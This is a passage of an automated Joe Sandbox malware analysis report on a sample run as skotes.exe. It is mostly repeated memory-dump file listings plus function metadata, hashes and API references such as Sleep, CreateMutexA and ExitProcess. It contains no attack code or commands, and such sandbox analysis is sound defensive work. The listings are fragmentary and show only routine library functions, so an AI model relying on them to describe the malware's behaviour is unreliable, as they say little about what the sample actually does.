Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 2ade736043d7e99650afffb3d1cf8ba0c4aaea43c4a262e26dc5ad02c1a9efd8
Instruction ID: d22e544384eedfe821256ea469ef064d1c5ae300786623d39fe3ac15a222fd20
Opcode Fuzzy Hash: 2ade736043d7e99650afffb3d1cf8ba0c4aaea43c4a262e26dc5ad02c1a9efd8
Instruction Fuzzy Hash: 38A1E0B1E0061A9FDB20DF64C944BAAB7AAFF15320F14812EE815D7741EB31EA04CBD1

Function 006DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 006DBBE4
_xtime_get.LIBCPMT ref: 006DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 006DBC13

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 36500ee623d7236ec423328c6b29a1f8385e1625ae699bc22d247d177bb2590f
Instruction ID: 5926481f487d45fc69301ff353fa202e23a701d2c6692f1efc9a672f809821f6
Opcode Fuzzy Hash: 36500ee623d7236ec423328c6b29a1f8385e1625ae699bc22d247d177bb2590f
Instruction Fuzzy Hash: DF21FB71E0011AAFDF10EFA4D881AFEB7BAAF08720B51401AF501A7391DB749D419BA4

Function 006FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006FF3A3

Strings

8"r, xrefs: 006FF44B
`'r, xrefs: 006FF375

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"r$`'r
API String ID: 3903695350-3437196005
Opcode ID: 0feb397f4af5da43015708793676ce9f631554acdf0b547b1f8e659196dc220f
Instruction ID: a275a869d2e3d97aea03700a2dd367473d1ccdb051bb3c82f4d80c93d18584ba
Opcode Fuzzy Hash: 0feb397f4af5da43015708793676ce9f631554acdf0b547b1f8e659196dc220f
Instruction Fuzzy Hash: B8316B7260020DDFEB20AB79D845BBB73EAEF00311F10442DE249D6692DE30AC80CB65

Analysis Process: skotes.exePID: 2696, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1842
Total number of Limit Nodes:	15

Executed Functions

Function 006F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,006F652A,?,?,?,?,?,006F7661), ref: 006F6567

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ff46d25bd147a99f3d158511e66d8a4b544e7e735223f82c3bc42eebdba84b0d
Instruction ID: c07191f7f6f1ade0492c23311caca0a228ce47fc30e5ba870f1018aaf4f9ef83
Opcode Fuzzy Hash: ff46d25bd147a99f3d158511e66d8a4b544e7e735223f82c3bc42eebdba84b0d
Instruction Fuzzy Hash: 28E0863114110C6FCE65BB59C84D9A83B1AEF11749F005818FA0C56222CB25ED41C641

Function 006C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 8a9bd23594f7c1252bd9d69d9ccfc2768dd72fa13a87d933a734e4241e9aa996
Instruction ID: 702ccab9038b9a121d9989de8e1b81c5217279b5591477e22b3cc89b184b7477
Opcode Fuzzy Hash: 8a9bd23594f7c1252bd9d69d9ccfc2768dd72fa13a87d933a734e4241e9aa996
Instruction Fuzzy Hash: 3D312971B002089BEB189B78DC8DBFDB6A3EB81314F20825DE014973D5C77589818665

Function 006C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
